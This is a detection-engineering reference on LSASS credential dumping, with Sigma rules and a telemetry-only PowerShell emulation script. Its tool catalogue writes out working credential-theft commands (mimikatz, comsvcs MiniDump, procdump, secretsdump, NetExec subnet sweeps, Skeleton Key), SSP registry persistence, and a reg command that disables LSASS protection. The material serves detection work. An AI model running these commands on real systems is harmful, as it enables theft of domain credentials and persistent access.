LSASS Credential Dumping
To extract plaintext credentials, NTLM hashes, or Kerberos tickets from a live Windows system, an attacker must read the memory of the Local Security Authority Subsystem Service (lsass.exe). Windows enforces process isolation at the kernel level: any tool that reads another process's memory must first obtain a handle via NtOpenProcess with appropriate access rights. This kernel-mediated handle request is the chokepoint; it fires regardless of whether the attacker uses Mimikatz, nanodump, comsvcs.dll, ProcDump, direct syscalls, or any future tool. Even techniques that bypass userland API hooks (ntdll unhooking, direct syscalls) still traverse the kernel's ObRegisterCallbacks path, which Sysmon Event ID 10 (ProcessAccess) and ETW Threat Intelligence consume. The attacker cannot read lsass memory without the kernel granting the handle.
Attack Chokepoints 3 invariant stages
Each stage is an invariant condition the attacker must satisfy, regardless of tool, variant, or threat actor. Detection at any stage breaks the chain.
1 Handle Acquisition ▶
- The attacker must have local administrator or SYSTEM privileges on the target host (LSASS access requires SeDebugPrivilege or equivalent)
- LSASS must not be running as a Protected Process Light (PPL), or the attacker must first bypass PPL (see edr-bypass-techniques)
- Credential Guard (VBS) must not be active, or the attacker must compromise the isolated LSA environment (significantly harder, no known public tools)
- Sysmon or equivalent kernel-level telemetry must be deployed for chokepoint visibility (Security EID 4656 provides partial coverage without Sysmon)
- Sysmon Event ID 10 (ProcessAccess)
- Windows Security Event ID 4656 (Handle Requested)
- ETW Microsoft-Windows-Threat-Intelligence (kernel-level telemetry)
2 Memory Read ▶
- Sysmon Event ID 10 (ProcessAccess: CallTrace field reveals read mechanism)
- Sysmon Event ID 11 (File Create: dump file written to disk)
3 Credential Extraction ▶
- Sysmon Event ID 10 (ProcessAccess: GrantedAccess + CallTrace correlation)
- Sysmon Event ID 7 (Image Loaded: SSP DLL injection into lsass)
- Sysmon Event ID 11 (File Create: dump file artifact)
- Sysmon Event ID 1 (Process Creation: LOLBin execution)
Variations 24 variants tracked
Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.
Mimikatz (sekurlsa::logonpasswords) 2011-Q2 Active ▶
privilege::debug
sekurlsa::logonpasswords
# Or one-liner:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
- Sysmon EID 10: GrantedAccess 0x1010, CallTrace contains ntdll.dll
- Sysmon EID 1: mimikatz.exe from non-standard path
comsvcs.dll MiniDump (LOLBin) 2019-Q1 Active ▶
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\Windows\Temp\dump.dmp full
- Sysmon EID 1: rundll32.exe with comsvcs.dll and MiniDump in CommandLine
- Sysmon EID 10: rundll32.exe accessing lsass.exe, CallTrace contains dbgcore.dll
- Sysmon EID 11: .dmp file created in temp directory
ProcDump (Sysinternals) 2016-Q1 Active ▶
procdump.exe -ma lsass.exe C:\Windows\Temp\lsass.dmp
- Sysmon EID 1: procdump.exe or procdump64.exe with lsass in CommandLine
- Sysmon EID 10: procdump accessing lsass.exe, CallTrace contains dbgcore.dll or dbghelp.dll
- Sysmon EID 11: .dmp file created
Nanodump 2022-Q1 Active ▶
nanodump.exe --write C:\Windows\Temp\nano.dmp
# Or handle duplication mode:
nanodump.exe --dup --write C:\Windows\Temp\nano.dmp
# Or direct syscall mode:
nanodump.exe --syscall --write C:\Windows\Temp\nano.dmp
- Sysmon EID 10: GrantedAccess 0x0810 (direct) or 0x0040 (dup mode), CallTrace UNKNOWN for syscall mode
- Sysmon EID 11: dump file (may use custom format, not standard .dmp)
HandleKatz 2021-Q3 Active ▶
handlekatz.exe --pid <lsass_pid> --outfile C:\Windows\Temp\hk.dmp
- Sysmon EID 10: GrantedAccess 0x0040 (PROCESS_DUP_HANDLE) targeting lsass.exe
- Sysmon EID 10: secondary handle request to the process holding the original lsass handle
PPLBlade / PPLdump 2022-Q3 Active ▶
PPLBlade.exe --mode dump --driver RTCore64.sys --output C:\Windows\Temp\ppl.dmp
# Or PPLdump:
PPLdump.exe <lsass_pid> C:\Windows\Temp\ppl.dmp
- Sysmon EID 6: vulnerable driver loaded (RTCore64.sys, DBUtil_2_3.sys, etc.)
- Sysmon EID 10: LSASS access after PPL disabled, standard access mask
- Sysmon EID 11: dump file written to disk
Task Manager Manual Dump 2014-Q1 Active ▶
Right-click lsass.exe in Task Manager > Create dump file
- Sysmon EID 10: taskmgr.exe accessing lsass.exe with GrantedAccess 0x1FFFFF
- Sysmon EID 11: lsass.DMP written to %TEMP%
SSP Injection (mimilib / memssp) 2015-Q1 Active ▶
# Mimikatz SSP injection:
misc::memssp
# Or registry-based persistence:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d "mimilib" /f
- Sysmon EID 7: DLL loaded into lsass.exe from non-System32 path
- Sysmon EID 13: registry modification to HKLM\SYSTEM\CCS\Control\Lsa\Security Packages
- Sysmon EID 11: kiwissp.log or similar credential log file created
Direct Syscall Dumpers (SilentProcessExit, MirrorDump, SafetyKatz) 2020-Q2 Active ▶
# SafetyKatz (execute-assembly in C2):
execute-assembly SafetyKatz.exe
# MirrorDump:
MirrorDump.exe --output C:\Windows\Temp\mirror.dmp
# SilentProcessExit (abuse WER):
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1 /f
- Sysmon EID 10: LSASS access with CallTrace containing UNKNOWN
- Sysmon EID 1: suspicious process from user-writable path
- Sysmon EID 11: dump file (may use non-standard format)
Pypykatz (Python) 2019-Q3 Active ▶
# Live LSASS access via ctypes:
pypykatz live lsa
# Offline dump parsing:
pypykatz lsa minidump lsass.dmp
- Sysmon EID 10: python.exe or python3.exe accessing lsass.exe
- Sysmon EID 1: python.exe running from non-standard path
- Sysmon EID 3: python.exe making outbound connection (if exfiltrating)
Impacket secretsdump.py (Remote) 2016-Q1 Active ▶
# Remote LSASS dump via svcctl:
secretsdump.py domain/user:password@target -just-dc-ntlm
# Or with pass-the-hash:
secretsdump.py -hashes :NTLM_HASH domain/user@target
- Sysmon EID 10: service process accessing lsass.exe on target host
- Security EID 4624: network logon (Type 3) from attacker IP
- Security EID 7045: new service created via svcctl
CrackMapExec / NetExec (--lsa, --sam) 2019-Q2 Active ▶
# Dump LSA secrets across multiple hosts:
nxc smb 10.0.0.0/24 -u admin -p password --lsa
# Dump SAM hive:
nxc smb target -u admin -p password --sam
- Sysmon EID 10: remotely created service process accessing lsass.exe on each target
- Security EID 7045: new service created on each target host
- Security EID 4624: network logon (Type 3) from attacker IP across multiple hosts
Cobalt Strike (logonpasswords, hashdump) 2014-Q1 Active ▶
# Beacon commands:
logonpasswords
hashdump
# Or via execute-assembly:
execute-assembly /path/to/SharpKatz.exe
- Sysmon EID 10: beacon host process (e.g., rundll32.exe) accessing lsass.exe
- Sysmon EID 1: sacrificial process spawned by beacon
- Sysmon EID 8: CreateRemoteThread into lsass.exe (reflective injection)
Sliver (creds, sharp-dump) 2020-Q1 Active ▶
# Built-in credential dump:
creds
# Or execute-assembly with SharpDump:
execute-assembly -t 60 SharpDump.exe
# Or BOF execution:
bof /path/to/nanodump.o
- Sysmon EID 10: Sliver implant process accessing lsass.exe
- Sysmon EID 1: implant process running from user-writable path
- Sysmon EID 11: dump file if using SharpDump
Havoc (mimikatz, coffloader) 2022-Q3 Active ▶
# Havoc demon commands:
mimikatz
# Or COFFLoader for BOF-based dump:
coffloader /path/to/nanodump.o
- Sysmon EID 10: Havoc demon process accessing lsass.exe
- Sysmon EID 1: demon process, often masquerading as legitimate binary
- Sysmon EID 3: demon outbound C2 connection
Brute Ratel C4 (brc4, credstore) 2022-Q1 Active ▶
# BRC4 badger commands:
credstore collect
# Or integrated Mimikatz:
mimikatz sekurlsa::logonpasswords
- Sysmon EID 10: badger process accessing lsass.exe, CallTrace UNKNOWN
- Sysmon EID 1: badger process, often injected into legitimate process
- Sysmon EID 3: encrypted C2 channel
Mythic (Athena, Apollo agents) 2020-Q2 Active ▶
# Apollo agent (C#):
mimikatz sekurlsa::logonpasswords
# Athena agent (cross-platform):
assembly -f SharpKatz.exe
# Or BOF:
bof nanodump.o
- Sysmon EID 10: agent process accessing lsass.exe
- Sysmon EID 1: agent process, varies by configuration (may be injected into legitimate process)
- Sysmon EID 11: dump file if using MiniDumpWriteDump-based modules
Dumpert 2019-Q3 Active ▶
Outflank-Dumpert.exe
- Sysmon EID 10: LSASS access with CallTrace UNKNOWN (syscall stubs bypass ntdll.dll)
- Sysmon EID 1: Dumpert binary from user-writable path
- Sysmon EID 11: dump file written via NtCreateFile syscall
SharpKatz / SharpDump (.NET) 2019-Q1 Active ▶
# SharpDump (minidump):
SharpDump.exe
# SharpKatz (in-memory parse):
SharpKatz.exe --Command logonpasswords
# Typically via execute-assembly in C2:
execute-assembly SharpDump.exe
- Sysmon EID 10: beacon/host process accessing lsass.exe, CallTrace contains dbgcore.dll
- Sysmon EID 11: .dmp file written (SharpDump writes to %TEMP% with .bin extension)
- Sysmon EID 1: .NET assembly loaded in-process (no new process for execute-assembly)
Out-Minidump (PowerShell) 2016-Q3 Declining ▶
# PowerSploit:
Import-Module .\Out-Minidump.ps1
Get-Process lsass | Out-Minidump -DumpFilePath C:\Windows\Temp\lsass.dmp
- Sysmon EID 10: powershell.exe accessing lsass.exe, CallTrace contains dbgcore.dll
- PowerShell Script Block Log (EID 4104): Out-Minidump function and MiniDumpWriteDump P/Invoke
- Sysmon EID 11: .dmp file created
LSASS Shtinkering (Process Snapshotting) 2022-Q1 Emerging ▶
LsassShtinkering.exe --output C:\Windows\Temp\snapshot.dmp
- Sysmon EID 10: process accessing lsass.exe with non-standard GrantedAccess for snapshot
- Sysmon EID 1: tool binary from user-writable path
- Sysmon EID 11: snapshot dump file written to disk
Skeleton Key (SSP Backdoor) 2015-Q1 Active ▶
# Mimikatz Skeleton Key:
misc::skeleton
# Patches LSASS in-memory to accept master password for any domain account
- Sysmon EID 7: DLL loaded into lsass.exe from non-System32 path
- Sysmon EID 10: process accessing lsass.exe for in-memory patching
- Security EID 4769: anomalous Kerberos TGS requests using skeleton key
LaZagne 2015-Q1 Active ▶
# All credentials including LSASS:
laZagne.exe all
# LSASS-specific:
laZagne.exe windows -m lsa_secrets
- Sysmon EID 10: laZagne.exe or python.exe accessing lsass.exe
- Sysmon EID 1: laZagne binary or Python interpreter from user-writable path
- Sysmon EID 11: credential output file if using -oN or -oJ flags
EDRSandBlast (LSASS dump mode) 2022-Q4 Active ▶
EDRSandblast.exe --usermode --kernelmode --dump-lsass
# Loads vulnerable driver, patches EDR callbacks, then dumps LSASS
- Sysmon EID 6: vulnerable driver loaded (e.g., RTCore64.sys, DBUtil_2_3.sys)
- Sysmon EID 10: LSASS access (if kernel callbacks survive the patching attempt)
- Sysmon EID 11: dump file written to disk
Detection Strategy
Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.
LSASS access with suspicious CallTrace, non-standard source path, or LOLBin d...
Hunt
Med FP
▶
LSASS access with credential-dump access masks AND one of: CallTrace through dbgcore/dbghelp (MiniDumpWriteDump signature), UNKNOWN CallTrace (direct syscall), SourceImage in a user-writable path (Temp, Downloads, AppData, ProgramData, Users\Public), or process creation matching the rundll32 comsvcs MiniDump or procdump LOLBin patterns. Exclude core OS and known AV/EDR install paths.
title: LSASS Access with Suspicious CallTrace or Non-Standard Source Path
id: 3d932b09-9d74-428d-bb0f-9368b28c6bb9
status: experimental
description: >
Hunt-level detection for LSASS credential dumping. Adds behavioral context to the
research baseline to separate attack tooling from legitimate security products.
CallTrace analysis reveals the mechanism used to read LSASS memory: dbgcore.dll
and dbghelp.dll indicate MiniDumpWriteDump (ProcDump, comsvcs.dll, custom dump
tools), while UNKNOWN indicates direct syscalls or ntdll unhooking. Legitimate
AV/EDR products produce clean API call stacks without these indicators. Source
path filtering captures tools staged in user-writable directories; attack tools
land in Temp, Downloads, AppData while legitimate security products run from
Program Files. This rule excludes known AV/EDR paths and WerFault to reduce the
research baseline to actionable hunt leads.
references:
- https://attack.mitre.org/techniques/T1003/001/
- https://github.com/fortra/nanodump
- https://github.com/codewhitesec/HandleKatz
- https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
- https://www.microsoft.com/en-us/security/blog/2022/10/05/detecting-and-preventing-lsass-credential-dumping-attacks/
author: "@NovaSky0x1"
date: 2026/03/30
tags:
- attack.credential_access
- attack.t1003.001
- attack.t1003
- detection.maturity.hunt
logsource:
category: process_access
product: windows
detection:
selection_lsass_access:
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1FFFFF'
- '0x1010'
- '0x1410'
- '0x0810'
- '0x1038'
- '0x1438'
- '0x0040'
selection_suspicious_calltrace:
CallTrace|contains:
- 'dbgcore.dll'
- 'dbghelp.dll'
- 'UNKNOWN'
selection_suspicious_source_path:
SourceImage|contains:
- '\Temp\'
- '\tmp\'
- '\Downloads\'
- '\AppData\'
- '\Users\Public\'
- '\ProgramData\'
- '\Desktop\'
- '\Recycle'
filter_os_core:
SourceImage|startswith:
- 'C:\Windows\System32\csrss.exe'
- 'C:\Windows\System32\lsass.exe'
- 'C:\Windows\System32\services.exe'
- 'C:\Windows\System32\svchost.exe'
- 'C:\Windows\System32\wininit.exe'
- 'C:\Windows\System32\lsaiso.exe'
- 'C:\Windows\System32\smss.exe'
- 'C:\Windows\System32\winlogon.exe'
filter_security_products:
SourceImage|contains:
- '\Program Files\Windows Defender\'
- '\Program Files\Microsoft Security Client\'
- '\Program Files\CrowdStrike\'
- '\Program Files\SentinelOne\'
- '\Program Files\Cylance\'
- '\Program Files\Carbon Black\'
- '\Program Files\Sophos\'
- '\Program Files\ESET\'
- '\Program Files\Kaspersky\'
- '\Program Files\Trend Micro\'
- '\Program Files (x86)\Trend Micro\'
- '\Program Files\Bitdefender\'
- '\Program Files\Malwarebytes\'
- '\Program Files\Palo Alto Networks\'
filter_werfault:
SourceImage|endswith: '\WerFault.exe'
condition: >
selection_lsass_access
and (selection_suspicious_calltrace or selection_suspicious_source_path)
and not (filter_os_core or filter_security_products or filter_werfault)
falsepositives:
- IT administrators running portable diagnostic tools from non-standard paths that inspect LSASS
- Custom monitoring agents installed outside Program Files that query process information
- Authorized penetration testing tools during sanctioned engagements
- Third-party security products not in the exclusion list (requires environment-specific tuning)
level: medium
Non-standard process accessing LSASS with dump mechanism fingerprint and cred...
Analyst
Low FP
▶
LSASS access with dump access mask AND CallTrace shows dbgcore/dbghelp or UNKNOWN AND source outside System32/Program Files. The triple-AND eliminates legitimate access; AV/EDR runs from Program Files with clean CallTraces. Secondary rule covers handle duplication (0x0040) from non-standard paths for HandleKatz and nanodump. Pair with companion rules for comsvcs MiniDump LOLBin (process_creation), SSP injection (image_load), and .dmp file artifacts (file_event).
title: 'LSASS Credential Dump: Non-Standard Process with Dump Mechanism and Suspicious Access Rights'
id: 2abc46f9-9c70-47cf-932e-fe803e06f5c7
status: experimental
description: >
High-fidelity detection for LSASS credential dumping. Detects a non-standard process
(outside System32 and Program Files) opening a handle to lsass.exe with credential-dump
access rights where the CallTrace reveals MiniDumpWriteDump usage (dbgcore.dll,
dbghelp.dll) or direct syscall evasion (UNKNOWN). This triple-AND (suspicious access
mask, dump mechanism fingerprint, and non-standard source path) eliminates virtually
all legitimate LSASS access. AV/EDR products run from Program Files with clean
CallTraces; attack tools run from temp paths with dbgcore.dll or UNKNOWN stacks.
A secondary selection covers handle duplication (GrantedAccess 0x0040) from non-standard
paths, the HandleKatz and nanodump evasion technique that uses NtDuplicateObject to
clone an existing LSASS handle instead of requesting a direct read handle. This
GrantedAccess value targeting lsass.exe from outside System32/Program Files has no
legitimate use case. Supplementary detections for comsvcs.dll MiniDump LOLBin
(process_creation), SSP injection (image_load), and dump file artifacts (file_event)
should be implemented as companion rules at the SIEM level for coverage across event
types. If this rule fires, assume credential compromise and begin host isolation.
references:
- https://attack.mitre.org/techniques/T1003/001/
- https://github.com/fortra/nanodump
- https://github.com/codewhitesec/HandleKatz
- https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
- https://www.microsoft.com/en-us/security/blog/2022/10/05/detecting-and-preventing-lsass-credential-dumping-attacks/
- https://unit42.paloaltonetworks.com/mimikatz-overview/
author: "@NovaSky0x1"
date: 2026/03/30
tags:
- attack.credential_access
- attack.t1003.001
- attack.t1003
- detection.maturity.analyst
logsource:
category: process_access
product: windows
detection:
selection_lsass_target:
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1FFFFF'
- '0x1010'
- '0x1410'
- '0x0810'
- '0x1038'
- '0x1438'
selection_dump_mechanism:
CallTrace|contains:
- 'dbgcore.dll'
- 'dbghelp.dll'
- 'UNKNOWN'
selection_nonstandard_source:
SourceImage|not|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
- 'C:\Program Files\'
- 'C:\Program Files (x86)\'
selection_handle_duplication:
TargetImage|endswith: '\lsass.exe'
GrantedAccess: '0x0040'
SourceImage|not|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
- 'C:\Program Files\'
- 'C:\Program Files (x86)\'
filter_os_core:
SourceImage|startswith:
- 'C:\Windows\System32\csrss.exe'
- 'C:\Windows\System32\lsass.exe'
- 'C:\Windows\System32\services.exe'
- 'C:\Windows\System32\svchost.exe'
- 'C:\Windows\System32\wininit.exe'
- 'C:\Windows\System32\lsaiso.exe'
- 'C:\Windows\System32\smss.exe'
- 'C:\Windows\System32\winlogon.exe'
condition: >
(selection_lsass_target and selection_dump_mechanism and selection_nonstandard_source and not filter_os_core)
or selection_handle_duplication
falsepositives:
- Portable diagnostic tools run by administrators from non-standard paths that access LSASS (should be blocked by policy in hardened environments)
- Authorized red team or penetration testing tools during sanctioned engagements
level: high
Baseline all non-system processes accessing lsass.exe with memory-read permis...
Research
High FP
▶
Any process accessing lsass.exe with credential-dump access masks (0x1010, 0x1FFFFF, 0x1410, 0x0810, 0x0040, 0x1038, 0x1438). Filter core OS processes only (csrss, services, svchost, lsaiso, wininit, smss, winlogon). Everything else, including AV/EDR and WerFault, appears here. Run for a week to build the environment-specific allowlist.
title: LSASS Memory Access by Non-System Process (Research Baseline)
id: c08fffe8-ab3c-4e16-abd8-61e648faf95b
status: experimental
description: >
Detects any non-core-OS process opening a handle to lsass.exe with memory-read
access rights. This research-level rule establishes a baseline of all LSASS
access in the environment (AV/EDR products, WerFault, Task Manager, monitoring
tools, and actual attacks) all appear. Run this for one week to build an
environment-specific allowlist of legitimate LSASS accessors before tuning to
Hunt level. The chokepoint is invariant: every credential dumping tool (Mimikatz,
nanodump, comsvcs.dll, ProcDump, HandleKatz, direct syscall loaders) must obtain
a kernel handle to lsass.exe. Sysmon Event ID 10 captures this regardless of the
API path used.
references:
- https://attack.mitre.org/techniques/T1003/001/
- https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
- https://github.com/fortra/nanodump
author: "@NovaSky0x1"
date: 2026/03/30
tags:
- attack.credential_access
- attack.t1003.001
- attack.t1003
- detection.maturity.research
logsource:
category: process_access
product: windows
detection:
selection:
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1FFFFF' # PROCESS_ALL_ACCESS
- '0x1010' # PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION (Mimikatz classic)
- '0x1410' # PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION
- '0x0810' # PROCESS_VM_READ | PROCESS_QUERY_INFORMATION (nanodump)
- '0x1038' # PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION
- '0x1438' # PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION
- '0x0040' # PROCESS_DUP_HANDLE (handle duplication, HandleKatz, nanodump duphandle mode)
- '0x0010' # PROCESS_VM_READ alone
filter_os_core:
SourceImage|startswith:
- 'C:\Windows\System32\csrss.exe'
- 'C:\Windows\System32\lsass.exe'
- 'C:\Windows\System32\services.exe'
- 'C:\Windows\System32\svchost.exe'
- 'C:\Windows\System32\wininit.exe'
- 'C:\Windows\System32\lsaiso.exe'
- 'C:\Windows\System32\smss.exe'
- 'C:\Windows\System32\winlogon.exe'
condition: selection and not filter_os_core
falsepositives:
- Antivirus and EDR agents performing routine LSASS inspection (MsMpEng.exe, SentinelAgent.exe, CSFalconService.exe, CylanceSvc.exe)
- WerFault.exe collecting crash diagnostics for lsass.exe
- Task Manager (taskmgr.exe) when an administrator manually creates a process dump
- Performance and diagnostic tools (procexp64.exe, procmon64.exe, perfmon.exe)
- WMI provider host (wmiprvse.exe) during certain management queries
- Windows Defender Advanced Threat Protection sensor (MsSense.exe)
level: informational
Raw Log Samples 4 samples
Real-world log events produced by this technique and which Sigma rules they trigger.
EID 10 Sysmon Mimikatz-style LSASS handle acquisition: classic 0x1010 access mask from user-writable path ▶
EID 10 Sysmon Direct syscall LSASS access: UNKNOWN in CallTrace indicates ntdll hook bypass ▶
EID 10 Sysmon Handle duplication targeting LSASS: HandleKatz/nanodump evasion with GrantedAccess 0x0040 ▶
EID 1 Sysmon comsvcs.dll MiniDump LOLBin, rundll32 invoking MiniDump export for LSASS dump ▶
Emulation
ATT&CK: T1003.001 Simulates LSASS credential dumping chokepoint stages for detection validation powershell ▶
#Requires -Version 5.1
#Requires -RunAsAdministrator
# MITRE ATT&CK: T1003.001, OS Credential Dumping: LSASS Memory
# Simulates LSASS credential dumping chokepoint stages: handle acquisition, memory read, and dump artifact.
# Does NOT extract credentials; uses safe API calls to generate detection telemetry only.
[CmdletBinding()]
param(
[switch]$SkipDumpFile,
[switch]$CleanupOnly,
[string]$DumpPath = (Join-Path $env:TEMP "lsass_emu_$(Get-Random).dmp")
)
Set-StrictMode -Version Latest
$ErrorActionPreference = 'Continue'
function Write-Step ([string]$Msg) { Write-Host "[*] $Msg" -ForegroundColor Cyan }
function Write-Ok ([string]$Msg) { Write-Host "[+] $Msg" -ForegroundColor Green }
function Write-Warn ([string]$Msg) { Write-Host "[!] $Msg" -ForegroundColor Yellow }
function Remove-Artefacts {
if (Test-Path $DumpPath) {
Remove-Item -Path $DumpPath -Force -ErrorAction SilentlyContinue
Write-Ok "Removed dump artefact: $DumpPath"
} else {
Write-Warn "No artefacts found at $DumpPath"
}
}
if ($CleanupOnly) { Remove-Artefacts; exit 0 }
Write-Host ""
Write-Host "=== LSASS Credential Dumping Emulation ===" -ForegroundColor Magenta
Write-Host " T1003.001 | Detection Chokepoints Project" -ForegroundColor DarkGray
Write-Host ""
Write-Warn "This script generates detection telemetry ONLY."
Write-Warn "No credentials are extracted. No memory is parsed."
Write-Warn "Requires Administrator privileges for SeDebugPrivilege."
Write-Host ""
# ─── Enable SeDebugPrivilege ────────────────────────────────────────────────
Write-Step "Enabling SeDebugPrivilege (required for LSASS handle access)"
Add-Type -TypeDefinition @'
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class LsassChokepointEmulation {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool LookupPrivilegeValue(
string lpSystemName, string lpName, out long lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle, bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState, int BufferLength,
IntPtr PreviousState, IntPtr ReturnLength);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[StructLayout(LayoutKind.Sequential)]
public struct TOKEN_PRIVILEGES {
public int PrivilegeCount;
public long Luid;
public int Attributes;
}
public const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
public const uint TOKEN_QUERY = 0x0008;
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
public const uint PROCESS_VM_READ_QUERY = 0x1010;
public static bool EnableDebugPrivilege() {
IntPtr tokenHandle;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out tokenHandle))
return false;
long luid;
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid)) {
CloseHandle(tokenHandle);
return false;
}
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
tp.PrivilegeCount = 1;
tp.Luid = luid;
tp.Attributes = SE_PRIVILEGE_ENABLED;
bool result = AdjustTokenPrivileges(tokenHandle, false, ref tp, 0,
IntPtr.Zero, IntPtr.Zero);
CloseHandle(tokenHandle);
return result && Marshal.GetLastWin32Error() == 0;
}
public static int OpenLsass() {
Process[] procs = Process.GetProcessesByName("lsass");
if (procs.Length == 0) return -1;
int pid = procs[0].Id;
IntPtr handle = OpenProcess(PROCESS_VM_READ_QUERY, false, pid);
if (handle == IntPtr.Zero) return -2;
// Handle acquired. Sysmon EID 10 has fired.
// Close immediately; we do not read memory.
CloseHandle(handle);
return pid;
}
}
'@
$privEnabled = [LsassChokepointEmulation]::EnableDebugPrivilege()
if ($privEnabled) {
Write-Ok "SeDebugPrivilege enabled"
} else {
Write-Warn "Failed to enable SeDebugPrivilege. Handle acquisition may fail."
Write-Warn "This is expected if LSASS is running as PPL (Protected Process Light)."
}
Start-Sleep -Milliseconds 300
# ─── Stage 1: Handle Acquisition (Sysmon EID 10, ProcessAccess) ─────────────
Write-Step "Stage 1/3: Opening handle to lsass.exe (ProcessAccess telemetry)"
Write-Verbose " Targets: Sysmon EID 10 with TargetImage=lsass.exe"
Write-Verbose " This is the chokepoint invariant; every dump tool must do this"
try {
$result = [LsassChokepointEmulation]::OpenLsass()
if ($result -gt 0) {
Write-Ok "Handle opened to lsass.exe (PID $result) with GrantedAccess 0x1010"
Write-Ok "Handle closed immediately, no memory read performed"
Write-Ok "Sysmon EID 10 generated: TargetImage=lsass.exe, GrantedAccess=0x1010"
} elseif ($result -eq -1) {
Write-Warn "lsass.exe process not found (are you running on Windows?)"
} else {
$err = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($err -eq 5) {
Write-Warn "OpenProcess returned ACCESS_DENIED (error 5)"
Write-Warn "LSASS is likely running as Protected Process Light (PPL)."
Write-Warn "PPL blocks handle acquisition even with SeDebugPrivilege."
Write-Warn "To test Stage 1, either:"
Write-Warn " 1. Disable PPL: reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f (reboot required)"
Write-Warn " 2. Use a VM without PPL enabled"
Write-Warn " 3. Accept that PPL is working as intended (this IS the defense)"
Write-Warn ""
Write-Warn "Sysmon may still log the failed access attempt as EID 10."
Write-Warn "Check for GrantedAccess=0x0 or a reduced mask in your logs."
} else {
Write-Warn "OpenProcess failed (error $err)"
}
}
} catch {
Write-Warn "Handle acquisition failed: $_"
}
Start-Sleep -Milliseconds 500
# ─── Stage 2: comsvcs.dll MiniDump LOLBin (Sysmon EID 1, Process Creation) ──
Write-Step "Stage 2/3: Simulating comsvcs.dll MiniDump command line (LOLBin telemetry)"
Write-Verbose " Generates Sysmon EID 1 with CommandLine containing 'comsvcs' and 'MiniDump'"
Write-Verbose " This is the most common LOLBin technique for LSASS dumping"
# Echo the command line pattern without actually calling MiniDump
# This generates a process creation event with the suspicious command line
$lsassPid = (Get-Process lsass -ErrorAction SilentlyContinue).Id
if ($lsassPid) {
$cmdLine = "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid $DumpPath full"
Write-Ok "LOLBin command pattern: $cmdLine"
# Run cmd /c echo with the suspicious command line to trigger EID 1 matching
cmd.exe /c "echo EMULATION_ONLY: $cmdLine" 2>&1 | Out-Null
Write-Ok "Sysmon EID 1 generated with comsvcs.dll MiniDump in CommandLine"
} else {
Write-Warn "lsass.exe PID not found, skipping LOLBin simulation"
}
Start-Sleep -Milliseconds 500
# ─── Stage 3: Dump File Artifact (Sysmon EID 11, File Create) ───────────────
if (-not $SkipDumpFile) {
Write-Step "Stage 3/3: Creating dump file artefact in temp directory"
Write-Verbose " Creates a marker .dmp file to trigger file creation detection"
Write-Verbose " Targets: Sysmon EID 11 with TargetFilename=*.dmp in temp path"
# Write a safe marker file (NOT a real memory dump)
$marker = "LSASS_EMULATION_MARKER | Detection Chokepoints Project | NOT A REAL DUMP"
[System.IO.File]::WriteAllText($DumpPath, $marker)
Write-Ok "Dump artefact created: $DumpPath"
Write-Ok "Sysmon EID 11 generated: .dmp file in temp directory"
} else {
Write-Warn "Stage 3 skipped (-SkipDumpFile flag set)"
}
# ─── Summary ─────────────────────────────────────────────────────────────────
Write-Host ""
Write-Step "Cleaning up artefacts"
Remove-Artefacts
Write-Host ""
Write-Host "=== Emulation Complete ===" -ForegroundColor Magenta
Write-Host ""
Write-Host "Expected detections:" -ForegroundColor White
Write-Host " [Research] Sysmon EID 10: non-system process opened handle to lsass.exe" -ForegroundColor DarkCyan
Write-Host " [Hunt] EID 10: GrantedAccess 0x1010 + CallTrace from non-AV/EDR process" -ForegroundColor DarkYellow
Write-Host " [Analyst] EID 10: 0x1010 + CallTrace + non-standard source path" -ForegroundColor DarkGreen
Write-Host ""
Write-Host "Supplementary signals (deploy as companion SIEM rules):" -ForegroundColor DarkGray
Write-Host " EID 1: comsvcs.dll MiniDump command line pattern"
Write-Host " EID 11: .dmp file created in temp directory"
Write-Host ""
